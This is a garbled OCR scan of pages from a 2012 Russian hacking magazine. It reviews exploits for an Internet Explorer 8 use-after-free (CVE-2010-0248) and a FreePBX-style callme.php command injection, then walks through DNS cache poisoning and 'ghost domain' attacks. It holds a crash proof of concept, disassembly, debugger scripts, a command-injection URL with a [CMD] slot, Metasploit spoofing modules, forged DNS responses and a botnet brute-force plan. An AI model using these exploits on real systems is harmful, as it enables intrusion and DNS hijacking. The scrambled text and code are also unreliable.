CVE-201 0-0248, найденная в этом IPeterVreugdenhil] в lп ternet Ехрlогег 8.
Уязвимость представляет собой классическую << use-afteг-fгee >> . РОС для этой баги выглядитследующим образом:
Функция callme_staгtcall, задействованная в этом коде, находит
ся в файле htdocs/г ecoгdings/inc lud es/callme.php:
/1 строки 88 -117 : function callme_startcall($to, $from, $new_path) { global $astman; $channel = "Local/ $to () from-internal / n" ; // vulneraЫe $context , "vm-callme" ; $extension = "s" ; $priority ''1'' ; $callerid = "VMAIL/ $from" ;
!* Arguments to Originate: channel> extension, context,
priority, timeout, callerid, variaЬle, account, application> data */ $status = $astman->Originate($channel, $extension, $context, $priority, NULL, $callerid, $variaЬle, NULL, NULL, NULL, NULL);
<html >< head ><script > function Start() { var TaЬleClone = document.getElementByid( 'taЫeid' ).cloneNode( 1 );
va r var
TaЬleCellUrns
=
TaЬleClone.cells.urns( 'a' );
TaЬleCellUrnsTags
TaЬleClone.outerText
Result Result =
= TaЬleCellUrns.tags( = 'а' ;
'a' );
TaЬleClone.cells; TaЬleCellUrnsTags.item(- 1 );
</sc ript ></ head > <body on Load="window.setTimeout(Start, 1ee ); " id="bodyid" > <tа Ые
id="taЫeid">
<t r><th id="thid"></th ></tr > <tr id="trid"><td id= "tdid" ></td></tr> </ taЬle>
</ body > </ html >
lj:J4!·1jj Таким образом имеем возможность выnолнить nроизвольный код
И если уж мы осмелимся запуститьданный РОС в l пternet Е хрlоге г 8, да с включенным
с nомощью такого запроса :
pageheap, то сможем пронаблюдать за следующим
вопиющим падением:
[HOST]/recordings/misc/callme_page.php?action=c&callmenum =[PHONENUMBER]@from-internal/n%eD%eддpplication:%2e
eax=eSa42fae
ebx= eб1fcfd8 есх= еееееее1
system%e D%eAData: %2e [CMD] %e D%eд%e D%eд
edx= eбb54ffc
esi=eeeee168
ХАКЕР
05/160/2012
edi= eб1fcfd8
059
EPIDEMZ.NET
ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ
еiр= б39918с7
e5p=e3elf5b8 ebp= eЗelfSee iopl=e nv up ei pl nz па ре пс С5= 881Ь 55=8823 d5=8823 е5= 8823 f5= еезь g5=eeee efi= eeele2eб m5html!CTaЬleCell5CollectionCacheitem::GetNext+ex12:
б39918с7 ЗЬ4854
cmp ecx,dword ptr [eax+ 54h ]
mov push push mov xor call
еЬр,
esp
еЬх
esi esi, .
есх
еЬх,
еЬх
CElement: :Doc(void)
d5: ee2З : esa42ff4=????????
Парам-nам-пам:
Код в дельта-окрестности места nадения выглядит следующим образом:
puЫic :
.tехt:б.З9918ВА .tex t :б39918 BD .text:б3991ece .text:б39918C2 . text:б39918C4
.text:I539918C7 .text:б39918CA
mov inc te5t jz mov cmp jge
mov mov call
[edi+8Ch ] dword ptr [edi+28h ] е ах,
е ах,
есх,
[есх]
edx, [eax+78h ] edx
е ах
5hort есх.,
class CDoc * _thi$call CElement::Doc(void)const
еах,
Мы nолучаем
loc_б39918D4
цию
CTableCellsCollectionCacheltem::GetNext возвращать нечто нам
полезное. Для этих целей мы обнаружили и исnользовали достижи
loc_б39918D4
5hort
vftable из следующей за вызовом контролируемой
nамяти. Теnерь необходимо выяснить, каким образом заставить функ
[edi+4 ] [eax+ 54h )
мый вызов функции
CTableRowCellsCollectionCacheltem ::GetNext:
Судя по всему, [edi+C] содержит объект, который был освобожден , но в настоящий момент некто с н ова nытается ссылаться на него.
lос_б39918СЕ :
Е сли мы заменим освобожденную nамять нашими собственными
рор
edi
данными, то будем иметь контроль наддействием инструкции jge
jmp
CTaЬleRowCell5CollectionCacheitem:
: GetNext
и после этого теоретически сможем добиться исnолнения собствен ного кода. К сожалению, прямой взаимосвязи между освобожден ным объектом и вызовом , основанным на данных, располагающи хся
Е сли пройти по правильном у nути в данной функции, то можно nопа с ть сюда:
в этом объекте, не существует. Однако же , если взглян ут ь на то , что бажная функция может вернуть в качестве рез ультата свое го исnол
.tехt:б399АЗЕ8 lос_б399АЗЕ8:
нения, то мы увидим следующий код:
. text: б399АЗ Е8
mov
еах ,
edi
.tехt :б399АЗЕА
. text:Q3663A9A са11 dword ptr [еах+4 ] ~ Вызов m5html! CTaЬleCell5CollectionCacheltem: : GetNext: .tех t:бЗббЗА9D mov e5i, еах .tехt:б3бб3А9F cmp e5i, edi .tехt:бЗббЗААl jz lос_бЗббЗВ2Е .tехt:б3ббЗАВ7 .tехt:бЗббЗАВ9 .tехt:бЗббЗАВА
.tехt:бЗббЗ АВD .tехt:QЗббЗАСе
mov pu5h pu5h pu5h call
есх,
.tехt:б399АЗЕА lос_б399АЗЕА:
. text: б399АЗ ЕА
рор
.tехt:б399АЗ ЕВ
рор
.tехt:б399АЗЕС
leave retn
.text:б399 AЗED
edi e5i
Мы можем контролировать значение
e5i
edi по следующему адресу:
е ах
[ebp+arg_4) [ebp+arg_e] CCollectionCache :: GetAtomFromName
lос_б399АЗ8е:
mov mov mov mov
Если мы контролируем результат исnолнения CTaЫeCellsColl
есх" [eax+58h ] edx, [e5i+18h ) есх" [ecx+8Ch ] edi, [ecX+edx * 4 ]
ectionCacheltem::GetNext, то, соответственно, мы контролируем Или з де с ь:
регистр есх, передаваемый в следующую функцию:
; private : static long __ stdcall CCollectf onCache::GetAtomFromName arg_e= dword ptr 8 arg_4= dword ptr ech arg_8= byte ptr leh mov edi, edi push еЬр mov еЬр, esp or dword ptr [edi], eFFFFFFFFh push esi push е mov esi, веыееезh call CElement: : GetAtomTaЬle(int *)
.text:б399A3б l
.text:б399A364 .text:б399A367
рuЬЦ_с; :
virtual class
CAtomTaЬle
CElement : :GetAtomTaЬle
arg_e= dword ptr mov edi, edi push еЬр
8
еах_,
[eax+48h ]
edi,
[еаХ+есх* 4 )
е ах"
edi
Е сли ты посмотришь на код, приведенный выше, то увидишь,
что , вероятно, существует возможность контроля за [еснеdх*4]
или [еанес х*4] . По адресу Ох6399АЗ20 инструкцией << mov еах,
[e5i+8Ch] >> мы снова nолучаем нашуосвобожденную память . Пройдя далее, видим, что контролируем некоторые [но не все) данные , и в конце концов поnадаем на следующий блок:
. text: б399А.Зб1 . te xt:б399A364 .text:б399A367
Продолжаем контролировать есх :
mov mov mov
.text:б399 A369
mov mov mov call
еах,
[eax+48h ]
edi,
[еаХ+есх * 4 ]
еах,
edi
CTaЬleCell:
:GetAAcolSpan(void)
Поскольку мы по-прежнему контролируем память в [еах], то,
* _ thiscall
хотя мы и не контролируем есх [а он всегда равен ОхО) , значение в
edi становится нам подвластно. Теперь все , что нужно сделать,
-это сохранить работосnособность оставшейся части функции и убираться отсюда поскорее . Мы можем nротрассировать все
ХАКЕР
060
EPIDEMZ.NET
05/160/20 12
Обзор эксплойтов
функции, вызываемые из CTaЫeCeii: : GetAAcoiSpan[voidl, но nо
цу глобальных переменных адрес, указывающий на нашу строку, то
скольку возвращаемые значения функций для нас не так важны,
«mov edi,
тобудетдостаточноnростозаnолнитьнашвторойобъектnоследо
руем память, на которую указывает edi .
вательностью NULL'oв. Немного nозже мы этим и займемся, чтобы
[еах+есх*4] » позволит нам убедиться , что мы контроли
Вернемся назад и затем в функцию
CEiement: :Doc[voidl:
достичь реального исnолнения кода. В конце концов мы добрались
до CEiement::Doc[void] с есх, указывающим на наш второй nоддель ный объект. И.так, нас озарило понимание того, чтоданный экс nлойт можно nоставить на рельсы разрушения путем связывания воединоправильныхобъектов . Первыйэксплойтнаэтууяэвимост~
который был написан еще в
201 О году,
6363fcc4 8bel . mov eax,dword ptr [есх] ; ds : еыз:ееldЫЗ4=42424242 бЗбЗfссб sьse?e mov edx,dword ptr (eax+78h ] ; ds:ее2З : 424242Ы=?????? ??
просто использовал технику
heapspгay. Здесь же будет предложен способ без него. В прошлом
Pwn20wn Stephen Feweг использовал интересный багтипа memoгy disclosuгe в 1Е, чтобы получить некоторую информацию
За этим следует:
году на
6363fcc9 ffd2
call
edx
о состоянии программы.
Код , который был им задействован, выглядитследующим об
Таким образом удалось доказать , что мы можем достичь блока
кода, который позволит контролировать поток исполнения. Итак,
разом:
что же делать дальше? Мы контролируем [есх], который, в свою tЫ
var
= ;J.ocument . cre<;~1;~Л.ement( : op:tio11.' ), index; ..
очередь, позволяет нам контролировать е ах, но в то же время
не можем повторно использовать недавний трюк с глобальны-
Это дает нам указатель на таблицу глобальных переменных
ми переменными, поскольку результатом его будет nередача
управления в кучу. Однако мы контролируем [есх] и
в lnteгnet Ехрlогег, которая выглядиткак-то так:
[esi], и этот
факт заставляет нас несколько приэадуматься .. . В большинстве
88Зсd828
е8Зсd818 L8 88888882 88888888 8З89бЬ88 88ЗсЗ9Зе 88888887 88Зсd888 88188428 8888847f
1:825> dc
8389бЬ88
8З89бЬ88
887888бf
1 :823> dc 88Зсd818
функций есх используется как указатель
... . ..... k .. 89<. .... . . <....... .
найти функцию в
dll,
88бе88бf 888888е8
_o.p.t.i.o.n . ....
Если мы сможем
есх и затем использует ре з ультат в качестве адреса, по которому
будетосуществляться
88698874
this.
которая делает двойное разыменование из
call, то
мы сможем использоватьдругую
глобальную nеременную , чтобы получить полный контроль над
потоком управлен и я . Однако для этого нам потребуется указатель Таким образом, размер каждого элемента составляет и среди этих
16 байт содержится указатель на
16 байт
реальную переменную.
Путем исnользования
на такую функцию, располагающийся по определенному адресу .
Решение : взять dll-файл [можно начать с jscгipt.dll], получить список всех указателей на функции внутри файла и проанализировать каж дую и з ни х на наличиедвойного разыменования из есх, за которым
var
а
=
должен следовать вызов . При помощи самописных IОА-скриптов
"наши данные"
можно обнаружить под о бную функцию: в сочетании с ба гой типа memoгy disclosuгe мы можем узнать адрес в памяти, где будет находиться указатель на наши данные .
. :tex t :6348 E eзe ~ puЬlic :
Таким образом, у нас не будетфактического адреса, но он нам в этом
Obj EvtHandle r . t ext: бЗ 4еЕезе .text:6348E832 . t ext : 6348Е833
случае и не нужен. Ранее мы разыменавывали наш освобожденный объект дважды, чтобы он указывал на следующий объект :
.text : 6399A361 .text :639<;JA364
mov mov
еах,
.. edi,
[еах+481) ]
.t ext:б348E835
(еах+есх* 41
.:text:6348E838 . t ext :6348E83A ._t ext: 63 48 Е 8З С .. text: 6348 ЕЮЕ
Мы можем nросто поместить в [еаХ+48] правильный адрес в та блице глобальных переменных, и это приведет к тому, что в
edi будет
с одержаться указатель на память, которую мы контролируем . Чтобы
. text:б348 E 84 1
найти это правильное смещение в таблице глобальных nеременных ,
.t ext : 6348E842
virtual long __thiscall : : Res et ( void) mov edi,_ .еФ push esi mov esi.,. есх е ах _., .. [esi+14h ] mov еах, _ еах test jz short loc_6348E84B mov есх, .. [еах] mov edx,__ (~сх+ 8 ] push е ах call edx
использовал ч я следующий код:
Мы контролируем есх и, как следствие, контролируем
установить в
var tЫ =. cjpcument. cre<;~teЦement( ' optiq_n_ ·. ) .. index; Math. atan2_(.ext)abe , ( "tаЫе at : " + tpl.to5:tring( lб )).t.oString());
<< mov
esi. Если [esi+14] адресдругой глобальной перемен ной, после
есх, [еах]>> есх будетуказывать на контролируемую нами
память . После чего
<< mov edx,
[есх+ 8 ]» позволит нам задать в
edx
любое значение, какое мы только пожелаем, и , соответственно, В совокупности с windЬg-брейкпоинтами и скриптам и:
последующий вызов
call edx будет непосредственно контроли
роваться нами. Все, что нам при этом нужно, -зто в функции
CEiement::Doc[voidl nоложить в [есх] адрес указателя на функцию
bu jscrip1;! J_sAtan2 ". pri_n_:tf.. \"%mu\ " , poi(poiCRoi(esp+14)+8)+8);.echo;g" .for(r @$te = е ; @$te < ехзе; r @$:t.e .. @$.:tl} :+- 1) { r @$te;dc роi( ЗсеЗ4е - ( exle * @$te) .:t 8 );
ObjEvtHandleг::Reset [за вычетом Ох70]. Осталось всего ничего-обойти
DEP, и дело в шляпе:]. Для этого
можно использовать, к примеру, технику, оnисанную Сnенсером В.
Праттом [SpenceгW Pгattl и эаключающуюся в перезаписи части кода WгitePгocessMemoгy собственным шелл - кодом .
Здесь Ох3се340 -адрес таблицы, который удалось получить черезутечку памяти.
Приведенный выше скрипт выводит все глобальные переменные в таблице . В нашем случае
obj_two располагается
.,.,;Jdjf1 IE 8 на Windows ХР SPЗ ,
IE
8 на Windows 7 SP1
на Ох2а объекта
перед таблицей tЫ . Поэтому если мы выделим нашу освобожденную
~i•J!Iiii•HI
память таким образом, что
Существует обновление, устраняющее данную уязвимость. :Х:
ХАКЕР
«mov
е ах,
[eax+48h] » возвратит в табли-
05/160/2 01 2
061
EPIDEMZ.NET
. взлом
Sanjar Satsura
lsanjar!a xake p . щ tw itteг.co m/s anjar_sa t s u ral
).
егодня,
1
..-....-ра GHOST DOMAIN NAMES И ДРУГИЕ
ОDАУ-СПОСОБЫ ВЗЛОМА СИСТЕМЫ ДОМЕННЫХ ИМЕН
DNS ..1.... это святая святы х Сети . Се й час уже трудно пр е д с тав и т ь и нтернет бе з это й те хн ологи и, настолько прочно вошедшей в нашу жизнь , что мале й шая уя з вимость в ее работе влече т за собой огромные проблемы . Сегодня мы с тобой как раз и рассмотр и м нове й шие методы реал и заци и DNS-aтaк.
Ид ея за п оми н ать IР -а др еса для всех веб- р есу р сов лишена вс я кого смыс л а. А е щ е л е т дв а дц а т ь н аза д , ко гд а Се т ь т о ль ко за
Давай быст р енько пробежимся п о ма т части, ибо базовые п онятия
рож д алась, зто б ыл о в п оря д ке в е щ ей. С у в е л и ч е н ием ч исла ха
о принципах функционирования
ста в [ ком п ью т е р о в и др у г ого сетево г о обору д ова н ия) п ри ш лось
Итак, DNS [Doma in Name Systeml- зто распре д еленная система
DNS
ты все-таки обязан знать.
как-то выхо д ить из п оложе н ия. П ервоначально п реобразование
преобразования имен хостов в I Р-а д реса.
доменных имен в IР-ад реса происхо д ило с п омощью спе ц и
щими характеристиками:
а л ьного файла hosts [ д а- д а, того самого hosts, благо п олуч н о
1.
DNS
обла д ает следую
Расnределеннасть хранения и нформации .
дошед ш его до на ш их д ней и так часто используемого всякими
Каж д ый узел сети в обязательном порядке д олжен хранитьтоль
вре д оносными про г раммами). В то время данный файл сос т а в
ко те данные, которые входят в так называемую зону ответствен
лялея це н трализованно и обнов л ялся на каж д ой из машин сети вручную . На смену этой неуд обной и немасштабируемой системе
ности , и иногда , возможно , адреса корневых D NS-cepвepoв.
2.
Кеwирование информации.
п ришла автома т изи р ованная рас п ре д еленная сис т ема д оме н ных
Узел може т храни т ь некоторое количество д анных не из своей
имен а ка
зоны от в е т ственности д л я уменьшения нагрузки н а се т ь [из-за
DN S.
ХАКЕР
062
EPIDEMZ.NET
05/160/2012
Атаки н а
Подтверждение удаления
пасностью].
Вся и нфор ма ция
Иерархическаяструктура .
предоста влен а
Удмить
Всеузлы объединены в виде дерева, и каждый узел может или
Смдующие домены ~елиекта
самостоятельно о п ределять работу нижестоящих узлов, или же
buxoro.uz
иск люч и т е льно
бу~удмены :
в о з на к о мите л ь ны х
ц еля х. Н и редак ция,
• security.buxoro.uz
передавать !делегировать] их другим узлам.
4.
вчера, сего дн я, за втр а
Домашняя страница ~ Домены ~
этой характеристики у DNSдовольно крупные проблемы с безо
3.
DN S:
н и автор н е несут
Р' Подтеердите удмение.
Ре з ерв и рован и е .
Сохранно~ть данных и продолжение работы даже в случае сбоя ОДНОГО ИЗ уЗЛОВ .
ответ с тв е нности з а
П рове рка с аб до м е н а ч е рез
DNS
любо й во зм о ж ный · вр е д , пр ич иненны й м атери а лами данно й
Гугл а
с тат ь и.
DNS-система содержит иерархию DNS-cepвepoв, которая соот ветствует иерархии зон. Каждая из зон поддерживается как минимум одним авторитетным сервером
DNS,
где расположена информация
о домене .
Им я и IР-адрес домtна Имя домена•
www р ---~~--'
Н аэ нач итьiР ·11др ес
!11.212.89.7
Ис nолЬ3оslть н01строй к и шаблона
1Г о с. орган
(общий)
iJ
ДOMf:HI
Так как имя и IР-адрес являются нетождественными, то один
IР-адрес может иметь множество имен, что позволяет поддерживать
на одном компьютере множество веб-сайтов !виртуальный хостинг] .
Слухб ы 8 1U1 ЮЧМТЪ
Г Почта
CJ1YX6y
р
DNS
Существует также и обратный процесс, когда одному имени может быть сопоставлено множество IР-адресов. Это позволяет создавать балансировку нагрузки для посещаемых веб-ресурсов .
Созда е м до мен д л я теста
Теперь давай рассмотрим на реальном примере работу всей спрашивает у ближайшего DNS-cepвepa IР-адрес запрошенного сайта.
la также в случае АХFR-запроса, но зто бывает очень редко ] . Н а самом деле протокол UOP был использован в качестве основно г о
Если сервер находит у себя запись об IР-адресе www. xakep.гu , то он
протокола обмена информацией между DNS - серверами ввиду его
этой системы. Когда мы набираем адрес www. xakep.гu , наш браузер
возвращает нам ее значение . Если запись отсутствует, ближайший
DNS
начинает спрашивать IР-адрес у своего авторитетного
удаче к нам возвращается нужный
IP, а
DNS:
при
в случае неудачи авторитетный
более скоростной работы по сравнению с тем же ТСР. Но, как ты знаешь, ничего в этом мире не дается просто так. За так называе мую скорость нужно платить, а платить пришлось безопасностью.
сервер отправляет запрос к DNS-cepвepy, ответственному уже за всю
Это первый фундаментальный ба г, который является ахиллесовой
за доменную зону
пятой всех ОNS-систем.
RU.
Таким образом, к нам по цепочке возвращается
Вторая багофича DNS-систем заключается в локальном кеш е,
IР-адрес запрошенного сайта, при этом каждый из DNS-cepвepoв, на котором не была най д ена эта запись, пытается записать получен
который также используется для ускорения ответов. Ты сейчас уди
ную информацию в свой кеш для ускорения ответов при повторном
вишься и спросишь: при чем же тут кеш? А при том , что вкупе с первой
обращении клиентов. Время жизни хранения ответов в кеш е приходит
у язвимостью существует возможность перезаписи содержимого
вместе с ними в поле ТТL
в кеш е DNS-cepвepa таким образом, что машина, которая будет об
ITime to Live] рекурсивной записи. Записи
в DNS !они же ресурсные записи, RR]- это единицы хранения и пере
ращаться на << отравленный>> авторитетный сервер для той или иной
дачи информации в
з оны
DNS.
Каждая
RR
состоит из следующих полей:
NАМЕ -доменное имя, которому принадлежит данная ресурсная
•
не совсем корректный IР-адрес и обратится к не
:1.
Теоретическую возможность заражения DNS-кeшa предсказал
запись;
•
ONS, получит
с ов с ем тому веб-ресурсу, который был нужен изначально
ТТ L -время хранения д анной ресурсной записи в кеш е «Неответ
еще в
ственного>> DNS-cepвepa;
исследователь в области ИБ Дэн Камински представил миру свои
году некий Крэм Грегоре, но лишь в
1991
2008
году известн ы й
ТУРЕ-определяетформэти назначениеданной ресурсной записи;
практические реализации «отравления >> кеша DNS-cepвepoв !после
C LASS -пoлe, определяющеетип сети;
серии атак , совершенных китайскими и израильскими хакерами
RDL Е N -длина поля данных;
в
RDATA- поле данных.
были портированы в уже полюбившийся тебе
2006 году]. В том же году ребятами из группы Rapid7 сплоиты Д эна Metasploit Fгamewoгk .
Ты можешь попробовать их в действии !на свой страх и риск!]:
ВОЗМОЖНЫЕ УЯЗВИМОСТИ Для ответов на запросы протокол DNS использует ТСР- или UDР порт 53. Обы~но запросы и о т веты отправляются в виде одной UDР датаграммы. ТСР используется в случае, если ответ больше 512 байт
msf use use msf msf
> use auxiliary/spoof/dns/bailiwicked_ auxiliary/spoof/dns/bailiwicked_domain auxiliary/spoof/dns/bailiwicked_host > use auxiliary/spoof/dns/bailiwicked_domain auxiliary(bailiwicked_domain) > show options Кстати, начиная с
в систему
DNS
2010
года по рекомендации того же Дэна
внедряются средства проверкицелостности пере
даваемых данных, называются они DNS Secuгity Exteпsioпs IDNSSECI. Передаваемые данные не шифруются, но их достоверность уже про веряется криптографическими способами . Ну и наконец третья и наиболее известная уязвимость- кри
?
ворукость. Да-да, именно так
:1. На самом деле плохо настроенный
и доверяющий всем и каждому
DNS- это
реальная угроза безо п ас
ности . Многие пытаются предотвратить атаки на кеш с помощью 66.66.66.66 exo~mple.com
уменьшения степени доверия к информации , приходящей от других
(25-50)"655
DNS-cepвepoв, или даже игнорирования любых ОNS-записей, прямо
(D-25)*655
не относящихсяк запросам. Например, последние версии BIND l9.x.x, 10 . х] выполняюттакие проверки. Существенно снизить вероят-
nopr 1 XIO
ность успешной атаки на кеш поможет использование случайных Схема nро веде н и я а т а ки на
ХАКЕ Р
DNS nри
n о м о щ и б от нета
UОР-портов для выполнения DNS-запросов . Но, как выясняется на
063
05 / 160/2 012
EPIDEMZ.NET
взлом идентификатор IXIDI для достоверности предоставляемой инфор практике, это довольно большая редкость, и в основном DNS-cepвepы
мации просто инкрементиравал свое значение. Так что у гадать ,
работают с настройками по умолчанию.
каким буд ет следующий XID, не сос тавляло бол ьшого труда. С 2002 года принцип работы немного изменился, была реализована воз
DNS САСНЕ POISONING ВОЗВРА
можность рандомизации пер есы лаемого идентификатора. Теперь
Теперь давай подробно рассмотрим методы проведения атак типа
DNS cache poisoning. Первый вариант атаки !подмена IР-адреса DNS-
XID каждый раз псевдослучайно генерировал 8-битный иденти фикационный ном ер. В 2006 году китайские и израильские хакер ы
cepвepa дQМена жертвы) выглядит следующим образом:
научились <<угадывать» драгоценный идентификатор и успеш-
1.
но проводить атаки отравления кеша с помощью скоростного
Запрос от DNS-cepвepa жертвы: какова А-запись для subdomain. attackeг.example?
интернет-канала. С тех пор DNS-cepвepы рандомизируют не только
subdomain.attacker.example. IN
XID, но и порт, на котором они работают. Возможно, это являлось в какой-то мере решением всех проблем DNS, хо тя , как мне кажет
А
ся, поверхностные заплатки никогда не могли помочь исправлению
чего-либо фундаментального. Далее я приведу пример атаки, кото
2. Ответхакера :
рая будет спокойно обходить такие неп утевые заплатки. Пом ожет в этом предполагаемом у злоумы шленник у сам ый обычный бот нет.
Answer : (no response)
Итак, у неких личностей ес ть ботнет размером в 1100 ботов. Это не так уж и много, но вполне достаточно , чтобы отравить DNS-кeш среднего интернет-провайдера или же более-менее
Authority section: attacker.example. Збее IN NS ns.target.example.
крупной хостинг-компании. На схеме видно, что для начала мы спрашиваем у нашего ISP адрес сайта examp le.com. Так как на
Additional section: ns.target.example. IN
сервере нет записи об этом домене, наш ISP пойдет по цеп о ч ке А
и запросит ин фу у делегированного сер вера зоны .com (при этом
w.x.y.z
заранее сообщая значение идентификатора и порта , на кото-
При этом сервер-жерт ва сохранит в кеш е А-запись IIP-aдpecl
рый нужно возвратить ответ). В то же время злоумышленники
пs.taгget.example, указанную в дополнительной секции, что позволит
запуск ают DDoS-aтaкy сервера с 1000 ботов , а другие 100 ботов
атакующему отвечать на послед ую щие за про сы для всего домена
используются для перебора XID и Souгce Рогt. Если ты до сих пор
taгget . example.
не догадался, зачем з ло умышлен никам нужен DDoS сервера, то
Второй вариант атаки !подмена NS-записи для другого домена
я скажу тебе прямо: для торможения атакуемого сервера и для
жертвы) заключается в перенаправлении DNS-cepвepa другого
замедления хо да пересылки и получения данных . Идем дальше .
домена, не относящегося к первоначальном у за про су, на IР-адре с,
Если при проведении атаки каждый из ботов будет перебирать 25
указанный а так ую щим:
портов и 655 ХID-идентификаторов, то в итоге злоумышленники
при помощи всего 100 l!l б ото в получат скорость б рута в 2500 pps ,
1.
Запрос DNS-cepвepa : какова А-запись для subdomaiп . attackeг.
хотя значение sоuгсе-порта всегда заве домо меньше этого значе
example?
ния 12 ' 11 = 20481. В с реднем на перебор э ти х значений взломщи кам потребуется от 6 до 11 секунд при скорости ботов всего 256
subdomain .attacker . example. IN
Кбит/с. Таким образом, ответив на заданный вопрос угаданным
А
портом, XID и IР-адресом example.com, ботоводы смогут заразить
доверенный !основной) сервер, при этом ответ делегированног о
2. Ответхакера:
сервера уже считается недей стви тельным . Следствием этого становится ц епная реакция, при которой автоматически окажутся
Answer: (no response)
зараженными обращающиеся клиентские DNS-cepвepы и клиен ты. Кстати, обычно для разработки такого ботнета злоумышлен
ники используют избитый банковский троя н SpyEye с помощью
Authority section: target.example. Збее IN NS ns.attacker.example .
дописывания к нем у плагина п еребо ра портов и прочего стаффа.
Additional section: ns .attacker.example, IN
В этой части статьи я рассмотрю 0-dау-атаку типа DNS Ghost
0-DAY: GHOST DOMAIN NAMES А
w.x.y.z
Domaiп Name. Уязвимость, как оказалось, из начально была най
1
На самом деле описанные выше атаки представлены в том у прощенн ом варианте, как они могли использоваться до 2000-х
годов, так как порт при этом был статичным 153), а пересылаемый
дена китайскими исследователями Ц зян ем Цзаном IJian Jiaпgl, Цэиньцзинем Лианам IJinjin Liaпgl, Каном Ли IKaпg Lil, Ц зюнем Ли IJuп Lil, Хайсинем Дуанем IHaixiп Duanl и Цзяньп хином
ОСНОВНЫЕ ТИПЫ DNS-ЗАПИСЕЙ Запись А (или запись ад р еса) связывает имя хоста с адресом IP
заnись МХ- nочтовый обмен ник, указывает сервер(ы) обмена nочтой
(например, запрос А-записи на имя гefeггals . icann . oгg вернет его IР
для данного домена .
адрес -192.0.34.164);
заnись
запись АААА связывает имя хоста с адресом nротокола
1Pv6
(например, заnрос АдАА-заnиси на имя k . гoot-seгveгs . net вернет его
запись
NS указывает на DNS-cepвep для данного домена; SOA- начальная заnись зоны, указывает, на каком
сервере
хранится эталонная информация о данном домене, содержит
1Рv6-адрес- 2001:7fd::1);
контактную информацию лица, ответственного за данную зону,
заnись CNAME- каноническая заnись имени (nсевдоним)
тайминги [nара метры времени) кеширования зонной информации
исnользуется для n еренаnравления на другое имя;
и взаимодействия DNS-cepвepoв.
ХАКЕР
061.
EPIDEMZ.NET
05/160/2012
Атаки на DNS: вчера, сегодня, завтра
.iJI
.ill~~is!o.iAgo евоо
со'!! 1
phis hing,
1
,com
.com
t1 phlSh ing . сот NS ns. phishing. со т
2
3 -
it
1 phishing. сот NS nsl. phlshing . сот
1
~?g.<om 4
.iJ ~
Attacker
w,phis hing.com
il ~
Прототип атаки типа
Attacker
й:/g.<om
А?
~
Targeted Resolver phishi ng. с о т. ns, phis hi ng. с о т .
.11
1
.phishing.com
А?
Targeted Resolver 86400 IN NS ns l, p hishing , coт , phis hing . сот , nsl .phishi ng. com . 86400 JN NS 10 . 0 . 0.1
86400 IN NS n s . p h is h ing.co т . 86400 I N NS 10 . 0, 0,1
432Ge IN NS re . o.o. 1
ns. phl shing . сот.
Ghost Domaiп Name lдо и после)
Ву [Jianping Wu] . Это реально nонизило мое ЧСВ, когда я узнал , что являюсь не nервым, кто ее обнаружил
:1.
Но хватит о грустном,
Дале е давай попробуем использовать какой-нибудь из этих корне вых DNS-c epвe poв , к примеру, для моего сай т а гOOtwOгm . com :
nерейдем неnосредственно к атаке . Итак, целью на этот раз оказалось логическое обновление
$ dig @m .root -serve r s.net. reetwerm.com
кешавнекоторых реализациях DNS-cepвepoв. В основном зара
жение DNS-cepвepoв ис n о ль зуется для организации различного рода нехороших вещей: фишинга, ботнетов и расnространения
;; QUESTION SECTION: ; reetwerm .com. IN
А
вредоносных программ. Очевидная стратегия их nредотвращения -удалить вр е доносные домены с верхнего уровня
DNS, то есть
системы, ответственной за какой-то ко н крет ны й домен. Экспе
рименты, nровед е нны е группой перечисленных исследователей
[а также это подтверждается и моими собственными исследова ниями], показывают, что более 19 000 открытых DNS-cepвepoв
;;
AUTHOR IТY
com . 1 728ее com. 1728ее . . . це лая куча
SECTION : IN NS IN NS
k.gtld-servers.net. j .gtld -se rver s. net . серверов ...
других
остаются уязвим ыми к настоящему моменту. В их числе и серве ры
;; ADDITIONAL SECTION :
кру nны х комnаний:
a .gtld- servers .net. b.gtld-servers.net.
Google, Microsoft, ICANN . Уязвимыми являются сле д ующие реализации серверов: OpenDNS, MSDNS, BIND [все
IN IN
1728ее 1728ее
А
192 . 5 . 6.3е
А
1 92.33. 14 .3е
версии] . Д алее мы поnробуем реализовать описываемую атаку с помощью ста ндартной ВIND'овской утилиты dig . Итак, цель н а ш е го с ц е нария атаки- переnисать кеш таким обра
В результате мы получаем список имен для домена
.com.
зом, чтобы можно бы л о п ос тоянн о расширять ТТLд омена в оnреде
Обрати внимание, что в конце значения «lam.гoot-serveгs .n et.»
ленной DNS-зoнe.
обязательно нужно п оста вить точку. Этим мы указываем на nол
Теперь ближе к сам ой уязвимости. Она позволяет исполь
ное имя домена. Теп е рь постараемся получить список авторитет
зо в ать соз д анные ранее вр е дон осные д омены даже после их
н о го сервера имен для гOOtwOrm.com. П о п робуем заnросить э ти
уда ления де.f!егированным сервером. Звучит как б р е д , но поверь
серверы имен так, чтобы получить физический IР-адр ес сайта
мне, это nравда . Д авай попробуем в о всем разобраться на те
гOOtwOгm . com :
стов ых примерах [никогда не используй этот сце нарий на живых машинах!].
$ dig @f.gtld- servers. net . reetwerm.com
Первым д елом nол учаем сnисок корневых DNS- cepвepoв:
; ; QUESTION SECTION: IN
$ dig
; reetwerm . com.
;; QUESTION SECTION : ;IN NS
;;
куча
други х
SECTION:
reetwerm.com. reetwerm . com.
;; ANSWER SECTION : 15333 IN NS g.root-servers.net. 15333 IN NS k.root-servers.net. ... целая
AUTHORIТY
серверов
А
1728ее 172 8ее
IN IN
NS NS
ns1 . reetwerm .com. ns2 .reetwerm.com .
;; ADDITIONAL SECTION : ns1.reetwerm.com. ns2.reetwerm.com.
.. .
1 728ее 172вее
IN IN
А
31.222.185.1еб
А
31.222.185.1еб
; ; AODITIONAL SECTION: d.root-servers.net. m.root-servers.net.
4841е 4841е
IN IN
АААА АААА
2ee1:5ee:2d::d 2ee1:dc3::35
В разделе «Additional Section>> мы видим отв ет от NS, а также и.х физические адреса. Узнаем адрес rOOtwOrm .com с помощью сервера
ns2.r00tw0rm .com:
ХАКЕР
05 /160/2012
065
EPIDEMZ.NET
. взлом
DNSVendor
Версия
Уязвимые?
BIND
9 . 8 . 0-Р4
Да
DJB dnscache
1.05
Да
1.4.11
Нет
1.4.7
Да
Recursor 3.3
Да
Unbound PowerDNS
Deadwood-3 .0.03
Е
1
Нет
-
Нет
Deadwood-2.3.05 Windows Server 2008 R2
Нет
Windows Server 2008 R2
Да
Microsoft DNS
Уязвимые реализации DNS-cepвepoв
Уязвимые DNS-cepвepы отмечены на карте
$ dig @ns2.r88tw8rm.com. r88tw8rm.com
